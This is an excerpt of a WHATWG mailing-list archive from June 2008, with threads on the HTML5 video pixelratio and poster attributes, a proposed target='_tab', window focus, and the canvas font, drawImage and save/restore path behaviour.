In-Reply-To: <1213170113.6562.23.camel@nog.bredbandsbolaget.se>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
	<1213170113.6562.23.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Philip J?genstedt wrote:
> 
> http://www.w3.org/html/wg/html5/#pixelratio

Incidentally, you may prefer this version of the spec:

   http://whatwg.org/html5

It has a style sheet optimised for this specification instead of using the 
W3C style sheet. (It's otherwise identical.)


> The pixelratio attribute allows the author to specify the pixel ratio of
> anamorphic media resources that do not self-describe their pixel ratio.
> [...] The default value, if the attribute is omitted or cannot be
> parsed, is 1.0.
> 
> This seems more than strange. Should this be taken to mean that the
> pixelratio attribute is defaulted to 1.0 even for ???media resources that
>DO NOT self-describe their pixel ratio? 

Yes, but that doesn't mean what you think it means. (I've clarified this 
in the spec.)

The only way the default is used is in deciding what number to return for 
pixelRatio in the DOM when the content attribute is missing. If the 
content attribute is omitted, then the user agent doesn't adjust the 
intrinsic width of the video at all; the intrinsic dimensions and the 
intrinsic pixel ratio of the video are honoured.


> It is also worth noting that when the pixel ratio is < 1.0 it will make 
> more sense for the user agent to adjust the height than the width if no 
> width/height attributes have been set. This could be pointed out in the 
> rendering section eventually.

I've allowed this explicitly now.


On Tue, 10 Jun 2008, Ralph Giles wrote:
> 
> Does this mean the implementation must retrieve the self-described pixel 
> aspect ratio from the stream and supply it as part of the DOM?

On Tue, 10 Jun 2008, Charles wrote:
> 
> Offhand, I can't think of any use cases where it'd be useful to expose 
> pixel aspect ratio.

On Wed, 11 Jun 2008, Philip J?genstedt wrote:
> 
> Exposing pixel ratio as readonly float videoPixelRatio in 
> HTMLVideoElement might be a good idea. If the media resource doesn't 
> self-describe its pixel ratio (many formats don't) it should be assumed 
> to be 1.0. I'm not convinced it is necessary as content authors who want 
> to be very explicit will probably set the pixelratio manually. Still, it 
> is trivial to expose and might make life easier for those who want this 
> information for low-level control of the video element size via the DOM.

I don't see a good reason to expose it, so I haven't added a way to do 
that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From borekbe at yahoo.co.uk  Thu Jun 12 02:25:04 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Thu, 12 Jun 2008 09:25:04 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <439859.40361.qm@web25905.mail.ukl.yahoo.com>

Hi Jo?o,

I'm not sure why you keep insisting that it's up to the browser -- IMO, it's up to the USER. Please read all my arguments before, it's not true that a user using a tabbed browser always prefers opening new tabs instead of new windows. That's just your user preference.

Also, having means to open new tabs as opposed to new windows in the specs is nothing against the user preference, in fact, it helps to express the user preference if the browser fails to provide it.

I will happily discuss specific issues that you have with this but please, I think we have seen enough generic statements in this thread.

Regards,
Borek

----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Kristof Zelechovski <giecrilj at stegny.2a.pl>; Borek Bernard <borekbe at yahoo.co.uk>; Ian Hickson <ian at hixie.ch>; whatwg at lists.whatwg.org
Sent: Wednesday, 11 June, 2008 9:15:47 PM
Subject: Re: [whatwg] Proposal: target="_tab"

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From philipj at opera.com  Thu Jun 12 02:52:00 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 11:52:00 +0200
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
	<1213170113.6562.23.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>
Message-ID: <1213264320.6562.65.camel@nog.bredbandsbolaget.se>

I see that I made a rather serious typo in my original message. I meant
to ask

Should this be taken to mean that the pixelratio attribute is defaulted
to 1.0 even for ?media resources that *DO* self-describe their pixel
ratio?

Still, my meaning seems to have gotten across and the new phrasing is
much better.

Philip

On Thu, 2008-06-12 at 09:18 +0000, Ian Hickson wrote:
> On Tue, 10 Jun 2008, Philip Jgenstedt wrote:
> > 
> > http://www.w3.org/html/wg/html5/#pixelratio
> 
> Incidentally, you may prefer this version of the spec:
> 
>    http://whatwg.org/html5
> 
> It has a style sheet optimised for this specification instead of using the 
> W3C style sheet. (It's otherwise identical.)
> 
> 
> > The pixelratio attribute allows the author to specify the pixel ratio of
> > anamorphic media resources that do not self-describe their pixel ratio.
> > [...] The default value, if the attribute is omitted or cannot be
> > parsed, is 1.0.
> > 
> > This seems more than strange. Should this be taken to mean that the
> > pixelratio attribute is defaulted to 1.0 even for ?media resources that
> >DO NOT self-describe their pixel ratio? 
> 
> Yes, but that doesn't mean what you think it means. (I've clarified this 
> in the spec.)
> 
> The only way the default is used is in deciding what number to return for 
> pixelRatio in the DOM when the content attribute is missing. If the 
> content attribute is omitted, then the user agent doesn't adjust the 
> intrinsic width of the video at all; the intrinsic dimensions and the 
> intrinsic pixel ratio of the video are honoured.
> 
> 
> > It is also worth noting that when the pixel ratio is < 1.0 it will make 
> > more sense for the user agent to adjust the height than the width if no 
> > width/height attributes have been set. This could be pointed out in the 
> > rendering section eventually.
> 
> I've allowed this explicitly now.
> 
> 
> On Tue, 10 Jun 2008, Ralph Giles wrote:
> > 
> > Does this mean the implementation must retrieve the self-described pixel 
> > aspect ratio from the stream and supply it as part of the DOM?
> 
> On Tue, 10 Jun 2008, Charles wrote:
> > 
> > Offhand, I can't think of any use cases where it'd be useful to expose 
> > pixel aspect ratio.
> 
> On Wed, 11 Jun 2008, Philip Jgenstedt wrote:
> > 
> > Exposing pixel ratio as readonly float videoPixelRatio in 
> > HTMLVideoElement might be a good idea. If the media resource doesn't 
> > self-describe its pixel ratio (many formats don't) it should be assumed 
> > to be 1.0. I'm not convinced it is necessary as content authors who want 
> > to be very explicit will probably set the pixelratio manually. Still, it 
> > is trivial to expose and might make life easier for those who want this 
> > information for low-level control of the video element size via the DOM.
> 
> I don't see a good reason to expose it, so I haven't added a way to do 
> that.
> 
> -- 
> Ian Hickson               U+1047E                )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'
-- 
Philip J?genstedt
Opera Software



From ian at hixie.ch  Thu Jun 12 02:56:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 09:56:19 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213257494.6562.56.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Philip J?genstedt wrote:
> >
> > This isn't currently defined (even without a poster, as far as I can 
> > tell), but my intention would be to not make the poster affect the 
> > intrinsic dimensions, and for the default, in the absence of video 
> > data, is 300x150.

This is defined now by the way.


> > The problem with scaling to the poster's size is that it would make 
> > the veo resize twice e (300x150 -> poster -> video) instead of just 
> > once (300x150 blank, then poster -> video).
> 
> If poster is to <video> what src is to <img>, then surely the video 
> element should take the size of the poster image if no width/height is 
> given? This is certainly my preference, as width/height would otherwise 
> effectively be mandatory when poster is used, which would in turn 
> require the poster to be of the same size as the video unless one is to 
> be scaled.

Why? The posted would be displayed in the default 300x150 box.


> That the element may be resized twice is not a problem, at 
> least not implementation-wise.

That it's resized at all is a terrible problem; that it woul resize twice 
would be a disaster, UI-wise.


> As some container formats allow changing the video frame size mid-stream 
> (notably chained Ogg streams, so called sequential multiplexing) the UA 
> could possibly resize the video element an unlimited number of times, so 
> handling that is necessary anyway.

That's not the common case, though; a poster is.


> On that note, perhaps an event to notify JavaScript UIs of such changes 
> would be useful/necessary. Perhaps reusing "resize" event would be the 
> best, other names could be "videochange" or "sizechange".

I've noted this for a v3 feature.


> > > HTTP 4xx and 5xx errors (and equivalents in other protocols) must 
> > > (may?) cause the user agent to ignore the poster attribute.
> > 
> > Well what else are they going to do? HTTP already requires this as far 
> > as I can tell.
> 
> It appears that Safari shows a little X symbol instead, but perhaps 
> specifying this behavior is not necessary. We will likely ignore the 
> poster attribute entirely instead.

Showing a red X seems contrary to the spec (which says that the <video> 
element represents the poster, the video, or nothing), but really 
rendering things are out of scope of the spec. In any case, in a few years 
we'll probably look at what implementations do and specify what the 
implementations have converged on.


> > I'm not sure a fake button (which wouldn't actually work anyway) is a 
> > natural interpretation of "poster frame". :-)
> 
> As long as it's mentioned somewhere there can be no misunderstanding.

Ok, added a note.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From philipj at opera.com  Thu Jun 12 03:36:43 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 12:36:43 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
Message-ID: <1213267003.6562.87.camel@nog.bredbandsbolaget.se>

On Thu, 2008-06-12 at 09:56 +0000, Ian Hickson wrote:
> > > The problem with scaling to the poster's size is that it would make 
> > > the veo resize twice e (300x150 -> poster -> video) instead of just 
> > > once (300x150 blank, then poster -> video).
> > 
> > If poster is to <video> what src is to <img>, then surely the video 
> > element should take the size of the poster image if no width/height is 
> > given? This is certainly my preference, as width/height would otherwise 
> > effectively be mandatory when poster is used, which would in turn 
> > require the poster to be of the same size as the video unless one is to 
> > be scaled.
> 
> Why? The posted would be displayed in the default 300x150 box.

<video poster="image_of_unknown_dimension"
src="video_of_unknown_but_same_dimension"></video>

This is a probable and reasonable scenario, but currently it's
impossible to use a poster image without knowing its dimensions.

> > That the element may be resized twice is not a problem, at 
> > least not implementation-wise.
> 
> That it's resized at all is a terrible problem; that it woul resize twice 
> would be a disaster, UI-wise.

?Since the poster image will only be displayed until the video starts
playing, the options when width/height is not given are:

1. the poster image is displayed at size 300x150 for several seconds
while the video is loading, after which the video element takes the size
of the video

2. the poster image is displayed at its native size for several seconds
while the video is loading, after which the video element takes the size
of the video (which will often be the same size)

Since a resize is possible in both cases (but less likely in case 2)
both are equally problematic UI-wise, except that the image will
actually be displayed with its correct dimensions in case 2.

This is just to provide sane defaults for authors who trust the browser
to do the right things in absence of width/height. Safari already uses
the intrinsic dimensions of the poster image and then resizes to the
intrinsic dimensions of the video, which is exactly the behavior we want
to implement.

-- 
Philip J?genstedt
Opera Software



From chris.double at double.co.nz  Thu Jun 12 04:22:40 2008
From: chris.double at double.co.nz (Chris Double)
Date: Thu, 12 Jun 2008 23:22:40 +1200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213267003.6562.87.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
Message-ID: <c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>

On Thu, Jun 12, 2008 at 10:36 PM, Philip J?genstedt <philipj at opera.com> wrote:
> This is just to provide sane defaults for authors who trust the browser
> to do the right things in absence of width/height. Safari already uses
> the intrinsic dimensions of the poster image and then resizes to the
> intrinsic dimensions of the video, which is exactly the behavior we want
> to implement.

This is the behaviour I was planning to implement for poster too btw.
As a user of the video element it seemed the most logical to me.

In the absence of a poster attribute does Safari load the first frame
of the video and display that? I seem to recall it did when using a
quicktime movie but not with a Theora movie using the XiphQT plugin.
Is displaying the first frame of the video something that's useful? In
the Firefox implementation I display the first frame, but I should be
displaying nothing, right?

Chris.
-- 
http://www.bluishcoder.co.nz


From mikewse at hotmail.com  Thu Jun 12 04:28:45 2008
From: mikewse at hotmail.com (Mike Wilson)
Date: Thu, 12 Jun 2008 13:28:45 +0200
Subject: [whatwg] Focus management
In-Reply-To: <Pine.LNX.4.62.0806031103030.8559@hixie.dreamhostps.com>
Message-ID: <BAY116-DAV12D8C54689DF0BEDBB9CBCA4AD0@phx.gbl>

Ian Hickson wrote:
> window.focus() isn't in HTML5 as there doesn't appear to be a 
> valid use case for it and it is too abusable, and thus 
> shouldn't be supported. If pages depend on it being supported 
> we could make it a no-op, I guess.

I would think the opposite. Being able to pop a browser window 
to front is quite useful, and I have used it f ex in notifier
windows that sit in some kind of loop checking for a condition
(possibly minimized) and "pop up to front" when there is new 
data. And I wouldn't want to use alert() in these cases.

Then maybe this functionality really should have another 
function name, popToFront() or something, but I don't think 
there is enough reason to change it.

> Focusing an element inside a window should raise the window 
> or hidden tab at the UA's discretion.

I think the opposite about this one too, I guess it shows how
different web users may think about their visual experience ;-)

Popping a window to front on every programmatic element focusing
would make windows pop to front more often than needed. Windows
should be forced to front as little as possible as this is 
messing with the user's desktop experience. Also regard users
that don't use the standard Windows focus model (click to focus
= focused window on top) but rather the "X-mouse"-model (focus 
follows mouse = focused window may be partially obscured). If
they are typing data into a partially obscured browser window
that then calls elem.focus() to move keyboard focus, they will 
get an undesired window raise.

So, I think it is desired to distinguish between element keyboard
focus and window raising, and only let the latter be done 
explicitly and not as a side-effect of doing the former.

Lastly, I guess if deprecating window.focus() devs would start
using myDummyElem.focus() instead, to achieve the same result?

Best regards
Mike Wilson



From simonp at opera.com  Thu Jun 12 05:25:44 2008
From: simonp at opera.com (Simon Pieters)
Date: Thu, 12 Jun 2008 14:25:44 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
Message-ID: <op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>

On Thu, 12 Jun 2008 13:22:40 +0200, Chris Double  
<chris.double at double.co.nz> wrote:

> On Thu, Jun 12, 2008 at 10:36 PM, Philip J?genstedt <philipj at opera.com>  
> wrote:
>> This is just to provide sane defaults for authors who trust the browser
>> to do the right things in absence of width/height. Safari already uses
>> the intrinsic dimensions of the poster image and then resizes to the
>> intrinsic dimensions of the video, which is exactly the behavior we want
>> to implement.
>
> This is the behaviour I was planning to implement for poster too btw.
> As a user of the video element it seemed the most logical to me.

I agree.


> In the absence of a poster attribute does Safari load the first frame
> of the video and display that?

Yes.


> I seem to recall it did when using a
> quicktime movie but not with a Theora movie using the XiphQT plugin.
> Is displaying the first frame of the video something that's useful?

Well, I think it is. :-)


> In
> the Firefox implementation I display the first frame, but I should be
> displaying nothing, right?

Why?

The spec says:

    When a video element is paused and the current playback position is the
    first frame of video, the element represents either the frame of video
    corresponding to the current playback position or the image given by
    the poster attribute, at the discretion of the user agent.

-- 
Simon Pieters
Opera Software


From giecrilj at stegny.2a.pl  Thu Jun 12 09:38:16 2008
From: giecrilj at stegny.2a.pl (=?ISO-8859-1?Q?Kristof_Zelechovski?=)
Date: Thu, 12 Jun 2008 18:38:16 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
References: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>

Programmatically controlling the containment of a new window is a two-edged
sword: you can provide for the lame user agent but you can also override
user settings.  The latter possibility is more painful; upgrading the
browser is easier than dealing with an impertinent Web site.
IMHO,
Chris
P.S.: If you want your answer to go to Jo?o only, just send it exclusively
to him.

-----Original Message-----
From: Borek Bernard [mailto:borekbe at yahoo.co.uk] 
Sent: Thursday, June 12, 2008 11:25 AM
To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Jo?o,

I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
up to the USER. Please read all my arguments before, it's not true that a
user using a tabbed browser always prefers opening new tabs instead of new
windows. That's just your user preference.

Also, having means to open new tabs as opposed to new windows in the specs
is nothing against the user preference, in fact, it helps to express the
user preference if the browser fails to provide it.





From joao.eiras at gmail.com  Thu Jun 12 10:17:19 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Thu, 12 Jun 2008 18:17:19 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>
References: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
	<51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>
Message-ID: <e72b1b360806121017t13d282afwdd8860cc4a022071@mail.gmail.com>

Hi ! I didn't saw that reply.

> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER.

You're not understanding me:
when I say browser, obviously I mean client, client-side, browser,
user or whatever you want to call it, as opposed to web application or
server-side

> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.

Then we're going to bloat a specification due to browser idiosyncrasies ?
Allowing a page to control such behavior would be bad. Currently
browsers with tabbed interface manage to unclutter the taskbar and
desktop, while aggregate pages inside a single window, which is
overall good for the user's experience, good for performance, good
usability.

We'd be providing a mechanism that is not backwards compatible with
the current state of the art user agents, although we've seen that new
features heavily demanded get implemented quickly, and we'd be
providing, again, authors with mechanism to degrade the user's
experience.

I can't honestly come up with a single reason why a webpage should
open a new window instead of tab. All use cases you can come up fit
better if new tabs are open. If you don't like the fact that a tab
fits the entire window, you can either detach it, your use a user
agent that support MDI interface.

With all this say now your going to tell me I'm contradicting myself
by supporting windows now. No, you'd be wrong. I'd expect a browser to
always open tabs if there's a _blank target. Having _target and_tab
would require UA's to support two different way of opening new pages:
tabbed and detached ones.

For me it's all a matter of letting the user control the web page.

Considering this discussion is still going to last a bit, and
everything significant that could be said by me and others was said, I
rest my case.

Cheers.


2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> Programmatically controlling the containment of a new window is a two-edged
> sword: you can provide for the lame user agent but you can also override
> user settings.  The latter possibility is more painful; upgrading the
> browser is easier than dealing with an impertinent Web site.
> IMHO,
> Chris
> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
> to him.
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Thursday, June 12, 2008 11:25 AM
> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Jo?o,
>
> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER. Please read all my arguments before, it's not true that a
> user using a tabbed browser always prefers opening new tabs instead of new
> windows. That's just your user preference.
>
> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.
>
>
>
>


From dbaron at dbaron.org  Thu Jun 12 14:58:46 2008
From: dbaron at dbaron.org (L. David Baron)
Date: Thu, 12 Jun 2008 14:58:46 -0700
Subject: [whatwg] are relative values of CanvasRenderingContext2D.font live
	to style	changes?
Message-ID: <20080612215846.GA6679@pickering.dbaron.org>

I'm looking at
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
which currently says:
  # When the 'font-size' component is set to lengths using
  # percentages, 'em' or 'ex' units, or the 'larger' or 'smaller'
  # keywords, these must be interpreted relative to the computed
  # value of the 'font-size' property of the corresponding canvas
  # element. When the 'font-weight' component is set to the relative
  # values 'bolder' and 'lighter', these must be interpreted
  # relative to the computed value of the 'font-weight' property of
  # the corresponding canvas element. If the computed values are
  # undefined for a particular case (e.g. because the canvas element
  # is not in a document), then the relative keywords must be
  # interpreted relative to the normal-weight 10px sans-serif
  # default. 

Suppose that the computed style of the corresponding canvas element
changes between when the font DOM attribute is set and text is
drawn.  Based on the text above, it's not clear to me whether values
like '1em' or 'lighter' should be relative to the canvas's values at
the time the font is set or the time the text is drawn.  In other
words:

  var canvas = document.getElementById("mycanvaselement");
  var ctx = canvas.getContext("2d");
  canvas.style.fontSize = "16px";
  ctx.font = "0.75em sans-serif"; // 12px, for now at least
  canvas.style.fontSize = "32px";
  ctx.fillText("hello world", 0, 0); // 12px text or 24px text?


The text above:
  # The font DOM attribute, on setting, must be parsed the same way
  # as the 'font' property of CSS (but without supporting
  # property-independent stylesheet syntax like 'inherit'), and the
  # resulting font must be assigned to the context, with the
  # 'line-height' component forced to 'normal'. [CSS]
could *perhaps* be interpreted to mean that it doesn't dynamically
update, but it's not clear.

I'd prefer if it were static, because for Mozilla, we'd either have
to add new infrastructure to handle dynamic style changes for
elements inside something that's display:none or we'd have to
recompute the style for every text operation (probably the latter).

-David

-- 
L. David Baron                                 http://dbaron.org/
Mozilla Corporation                       http://www.mozilla.com/


From ian at hixie.ch  Thu Jun 12 15:24:09 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 22:24:09 +0000 (UTC)
Subject: [whatwg] drawImage with non-existent images
In-Reply-To: <47B8EC6D.5070907@mit.edu>
References: <47B8EC6D.5070907@mit.edu>
Message-ID: <Pine.LNX.4.62.0806122218450.8559@hixie.dreamhostps.com>

On Sun, 17 Feb 2008, Jeff Walden wrote:
>
> <http://www.whatwg.org/specs/web-apps/current-work/multipage/section-the-canvas.html#drawimage>:
> 
> > If the image argument is an HTMLImageElement object whose complete 
> > attribute is false, then the implementation must raise an 
> > INVALID_STATE_ERR exception.
> 
> This is all well and good in the case where the image being drawn has 
> the same origin as the document where the canvas resides, but if the two 
> have different origins, this makes it possible to determine the 
> existence of an image on a foreign server.  This exception must only be 
> thrown if the image element's origin is the same as that of the document 
> containing the canvas being modified.
> 
> (You can already determine image existence by seeing how an image 
> affects page layout, but this still seems like a reasonable behavior 
> anyway.)

There's all kinds of ways to determine if a remote resource is present or 
not -- onload/onerror on <img> or <iframe>, importing a script from that 
host, layout effects of an image, layout effects of a style sheet...

I think that ship has sailed.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Thu Jun 12 15:47:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 22:47:19 +0000 (UTC)
Subject: [whatwg] Canvas ath construction over save/restore boundaries
In-Reply-To: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
References: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
Message-ID: <Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>

On Fri, 7 Mar 2008, Oliver Hunt wrote:
>
> Hi all, while working on a bug in our canvas implementation I've noticed 
> that there's a difference in behaviour between Opera and Firefox when 
> handling path construction over save/restore boundaries.  Section 
> 3.12.11.1.1 says that the canvas path is not part of the state that is 
> effected by save/restore, unfortunately Opera and Firefox disagree on 
> what this actually means.  Firefox appears to treat restore() 
> (effectively) as a transform that undoes the any transformations 
> performed in the current state, so given the example:
> 
> context.beginPath();
> context.save()
> context.translate(100,100)
> context.rect(0,0,10,10)
> context.restore()
> context.fill()
> 
> Firefox behaves as though the set of operations was
> 
> context.beginPath();
> context.translate(100,100)
> context.rect(0,0,10,10)
> context.translate(-100,-100)
> context.fill()
> 
> which, given 3.12.11.1.8., results in the fill operation still drawing a 
> 10x10 rect at (100,100).  Opera meanwhile treats the path as being 
> completely independent of the canvas state, and so draws the rect at 
> (0,0).
> 
> What I want to know is which behaviour the spec actually intends on 
> providing.

The current transformation matrix doesn't change the position at which the 
current path is filled. That is, assuming the fill style is a solid color, 
the following:

 context.beginPath();
 context.save()
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.restore()
 context.fill()

...must render the same as:

 context.beginPath();
 context.save()
 context.translate(100,100)
 context.rect(0,0,10,10)
 //context.restore()
 context.fill()

Similarly the following:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.translate(-100,-100)
 context.fill()

...must render the same as:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 //context.translate(-100,-100)
 context.fill()

Thus the two examples you give must both render the same as:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.fill()

...which is the same as:

 context.beginPath();
 context.rect(100,100,10,10)
 context.fill()

...which is the same as:

 context.fillRect(100,100,10,10)

...so Opera is wrong.

HTH,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From oliver at apple.com  Thu Jun 12 20:05:46 2008
From: oliver at apple.com (Oliver Hunt)
Date: Thu, 12 Jun 2008 20:05:46 -0700
Subject: [whatwg] Canvas ath construction over save/restore boundaries
In-Reply-To: <Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>
References: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
	<Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>
Message-ID: <50EDE387-C3F8-4DBB-BE2B-7BF67EA8981C@apple.com>


On Jun 12, 2008, at 3:47 PM, Ian Hickson wrote:

> On Fri, 7 Mar 2008, Oliver Hunt wrote:
>>
>> Hi all, while working on a bug in our canvas implementation I've  
>> noticed
>> that there's a difference in behaviour between Opera and Firefox when
>> ...
<Removing a vast rambing initial email from myself>

> ...so Opera is wrong.

Yeah I came to that conclusion and webkit now matches that behaviour  
*sigh*

We really need a separate path object :-/


--Oliver

>
>
> HTH,
> -- 
> Ian Hickson               U+1047E                ) 
> \._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _ 
> \  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'-- 
> (,_..'`-.;.'



From borekbe at yahoo.co.uk  Thu Jun 12 23:30:02 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Fri, 13 Jun 2008 06:30:02 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <274491.49551.qm@web25907.mail.ukl.yahoo.com>

Hi Jo?o,

